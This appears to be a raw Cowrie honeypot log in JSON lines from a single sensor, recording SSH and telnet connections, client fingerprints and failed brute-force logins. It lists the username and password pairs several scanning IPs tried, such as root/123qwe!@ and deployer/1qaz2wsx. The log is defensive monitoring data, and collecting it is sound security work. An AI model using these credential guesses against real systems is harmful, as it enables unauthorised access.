{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.315696Z","src_ip":"94.26.106.229","session":"fd75b070ea11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.408931Z","src_ip":"94.26.106.229","session":"fd75b070ea11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"password","message":"login attempt [alex/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.679148Z","src_ip":"94.26.106.229","session":"fd75b070ea11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27860,"dst_ip":"10.17.0.5","dst_port":22,"session":"be98271c3205","protocol":"ssh","message":"New connection: 38.93.206.2:27860 (10.17.0.5:22) [session: be98271c3205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.768414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.773529Z","src_ip":"38.93.206.2","session":"be98271c3205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.832562Z","src_ip":"38.93.206.2","session":"be98271c3205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.990079Z","src_ip":"38.93.206.2","session":"be98271c3205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.085368Z","src_ip":"185.236.22.41","session":"f388a88dc1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36132,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea01e2aefd9e","protocol":"ssh","message":"New connection: 45.156.87.204:36132 (159.203.135.109:22) [session: ea01e2aefd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.275804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.281424Z","src_ip":"45.156.87.204","session":"ea01e2aefd9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.363618Z","src_ip":"45.156.87.204","session":"ea01e2aefd9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.609364Z","src_ip":"45.156.87.204","session":"ea01e2aefd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:31.770111Z","src_ip":"94.26.106.229","session":"fd75b070ea11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:32.042850Z","src_ip":"38.93.206.2","session":"be98271c3205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:32.694593Z","src_ip":"45.156.87.204","session":"ea01e2aefd9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fce888ebc7a","protocol":"ssh","message":"New connection: 94.26.106.229:57150 (159.203.135.109:22) [session: 0fce888ebc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:32.867914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:32.883664Z","src_ip":"94.26.106.229","session":"0fce888ebc7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:32.965814Z","src_ip":"94.26.106.229","session":"0fce888ebc7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123456","message":"login attempt [root/as123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:33.325620Z","src_ip":"94.26.106.229","session":"0fce888ebc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6649e411acd6","protocol":"telnet","message":"New connection: 152.42.224.71:49736 (10.17.0.5:23) [session: 6649e411acd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:33.752226Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:34.422150Z","src_ip":"94.26.106.229","session":"0fce888ebc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52564,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edcf833b078","protocol":"ssh","message":"New connection: 45.156.87.204:52564 (159.203.135.109:22) [session: 3edcf833b078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:34.815431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:34.820891Z","src_ip":"45.156.87.204","session":"3edcf833b078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:34.903213Z","src_ip":"45.156.87.204","session":"3edcf833b078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":56622,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d23114b9454","protocol":"ssh","message":"New connection: 94.26.106.229:56622 (159.203.135.109:22) [session: 6d23114b9454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.029042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.037161Z","src_ip":"94.26.106.229","session":"6d23114b9454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.122025Z","src_ip":"94.26.106.229","session":"6d23114b9454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.150243Z","src_ip":"45.156.87.204","session":"3edcf833b078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1qaz2wsx","message":"login attempt [deployer/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.376437Z","src_ip":"94.26.106.229","session":"6d23114b9454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.51969265937805,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:35.648124Z","src_ip":"152.42.224.71","session":"46144c2e61c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:36.234622Z","src_ip":"45.156.87.204","session":"3edcf833b078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:36.464696Z","src_ip":"94.26.106.229","session":"6d23114b9454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.711127758026123,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:37.840869Z","src_ip":"152.42.224.71","session":"38222778270e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"82fd29b0ace5","protocol":"ssh","message":"New connection: 45.156.87.204:52588 (159.203.135.109:22) [session: 82fd29b0ace5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:38.260056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:38.264524Z","src_ip":"45.156.87.204","session":"82fd29b0ace5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:38.526903Z","src_ip":"45.156.87.204","session":"82fd29b0ace5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:38.903966Z","src_ip":"45.156.87.204","session":"82fd29b0ace5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:39.989603Z","src_ip":"45.156.87.204","session":"82fd29b0ace5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52608,"dst_ip":"159.203.135.109","dst_port":22,"session":"436776a66535","protocol":"ssh","message":"New connection: 45.156.87.204:52608 (159.203.135.109:22) [session: 436776a66535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:42.164825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:42.169627Z","src_ip":"45.156.87.204","session":"436776a66535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:42.251688Z","src_ip":"45.156.87.204","session":"436776a66535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:42.498078Z","src_ip":"45.156.87.204","session":"436776a66535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:43.583824Z","src_ip":"45.156.87.204","session":"436776a66535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34132,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc5a3946992","protocol":"ssh","message":"New connection: 45.156.87.204:34132 (159.203.135.109:22) [session: 6fc5a3946992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:45.628871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:45.633705Z","src_ip":"45.156.87.204","session":"6fc5a3946992","protocol":"ssh"}
